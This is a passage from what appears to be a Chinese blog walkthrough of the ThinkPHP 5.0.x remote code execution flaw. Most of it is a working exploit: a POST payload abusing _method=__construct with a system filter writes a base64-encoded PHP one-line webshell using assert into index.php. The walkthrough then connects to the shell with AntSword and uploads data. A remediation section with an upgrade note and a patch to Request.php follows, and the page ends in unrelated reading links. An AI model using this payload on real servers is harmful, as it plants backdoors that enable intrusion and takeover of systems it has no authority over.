为了显示我们成功注入 , 我们在其中添加字段变为
echo “aaa<?php @eval($_POST[‘xss’]);?>bbb” >index.php
对引号内的进行base64 , 注意此时的引号不需要进行加密
经过测试 , 发现eval函数是注入不了的 , 需要替换为arrest函数才可以成功注入
所以
Echo “aaa<?php @assert($_POST['xss']);?>bbb” >index.php
文章插图
最后构造出来的payload为
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > index.php
文章插图
成功回显出aaabbb , 说明是加入到了index.php里了
开始用蚁剑 , URL地址填写我们一句话木马的位置
注意要选择char16和base64
文章插图
进入界面
文章插图
上传测试数据
文章插图
文章插图
进入容器看看效果
文章插图
发现是可以的!
0x05解决方法
自动:升级到最新版本(如果是在5.0.0——5.0.23之间的)
手动:
打开/thinkphp/library/think/Request.php文件 , 找到method方法(约496行) , 修改下面代码:
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
改为:
$method = strtoupper($_POST[Config::get('var_method')]);if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);} else {
$this->method = 'POST';}
unset($_POST[Config::get('var_method')]);
0x06 使用条件
文章插图
推荐阅读
- 华为内部远程工具——IPOP,了解一下
- 小米|远程看家神器!一图看懂小米智能家庭屏 10:到手949元
- Windows子系统Ubuntu开启远程连接
- VNC实现Windows远程访问Ubuntu 16.04
- 如何远程维护路由器?
- 黑客大神的Weblogic 远程命令执行漏洞分析
- 外网远程桌面连接设置
- 集串口 SSH远程登录和FTP传输三合一工具MobaXterm
- SSH只能用于远程Linux主机?那说明你见识太小了
- 华为|首发鸿蒙OS!华为智能门锁图赏:配3.97寸大屏 可远程对讲